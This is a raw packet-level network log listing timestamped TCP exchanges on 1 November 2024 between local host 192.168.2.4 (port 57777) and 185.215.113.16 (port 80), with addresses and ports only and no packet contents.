Nov 1, 2024 08:51:36.254368067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254379034 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254380941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254400969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254405975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254410028 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254424095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254439116 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254445076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254455090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254467010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254473925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254477978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254493952 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254493952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254512072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254518986 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254539013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254549026 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.255199909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.255242109 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.288467884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.288487911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.288562059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.288666964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.288681984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.288702965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.288712978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.288722038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.336550951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.336569071 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.336585045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.336630106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.336668968 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.340667009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.340694904 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.340709925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.340755939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.340786934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.376811028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.376828909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.376892090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.376907110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.376923084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.376939058 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.376955986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.376991987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377010107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377019882 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377027035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377049923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377074957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377103090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377144098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377159119 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377183914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377209902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377238035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377254963 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377291918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377296925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377331972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377397060 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377418041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377434015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377449036 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377450943 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377465010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377470016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377492905 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377496958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377517939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377532959 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377770901 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377795935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377820969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377821922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377837896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377845049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377856016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377860069 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377871990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377878904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377887964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377897024 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377906084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377909899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.377924919 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.377948999 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378216028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378232002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378247023 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378262997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378264904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378273964 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378282070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378294945 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378314972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378326893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378510952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378534079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378551006 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378562927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378566980 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378582954 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378585100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378601074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378602028 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378618002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378624916 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378643036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378658056 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378662109 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378671885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378681898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378684044 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378699064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378704071 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378715038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378724098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378732920 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378736019 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378751040 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378763914 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.378763914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378772974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378793001 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.378812075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.412672997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.412693024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.412707090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.412831068 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.460513115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.460534096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.460562944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.460577965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.460597038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.460621119 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.464637995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.464664936 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.464687109 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.464701891 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.464740038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.464752913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.464801073 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501241922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501279116 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501302958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501318932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501333952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501337051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501351118 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501369953 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501394033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501399994 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501409054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501420021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501425028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501451015 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501481056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501516104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501530886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501554012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501566887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501570940 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501583099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501600027 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501601934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501619101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501622915 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501650095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501652956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501665115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501682043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501682997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501712084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501725912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501765966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501792908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501807928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501833916 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501863956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501899004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501914978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501929998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501955986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501957893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501974106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.501986027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.501988888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502006054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502017021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502023935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502047062 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502064943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502413988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502443075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502455950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502459049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502480984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502496958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502499104 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502513885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502531052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502556086 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502584934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502603054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502625942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502641916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502656937 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502665043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502682924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502700090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502700090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502717018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502722979 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502742052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502752066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502760887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502775908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.502783060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.502813101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.503048897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.503094912 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.503098965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.503112078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.503177881 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.503608942 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.536843061 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.536880970 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.536902905 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.536925077 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.537698984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.537750959 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.537836075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.537897110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.584698915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.584714890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.584731102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.584745884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.584750891 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.584769011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.584808111 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.588845968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.588860035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.588890076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.588901997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.588902950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.588917971 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.588949919 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625283003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625324965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625341892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625343084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625358105 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625370026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625381947 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625386953 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625406027 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625425100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625439882 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625457048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625461102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625473976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625483990 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625492096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625499964 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625509024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625520945 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625529051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625551939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625552893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625577927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625596046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625613928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625617027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625643969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625667095 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625699997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625719070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625760078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625762939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625776052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625792980 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.625802040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625824928 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.625839949 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626049995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626066923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626092911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626102924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626112938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626118898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626136065 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626156092 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626192093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626195908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626213074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626229048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626235962 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626245022 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626259089 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626267910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626275063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626286030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626293898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626301050 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626307964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626323938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626394987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626494884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626511097 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626538038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626548052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626553059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626554966 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626569986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626579046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626595020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626597881 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626614094 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626616955 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626629114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626632929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626650095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626656055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626668930 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626687050 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626884937 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626933098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626939058 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626955032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626981020 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.626986980 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.626995087 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.627005100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.627022982 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.627038002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.627055883 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.627063990 CET	80	57777	185.215.113.16	192.168.2.4
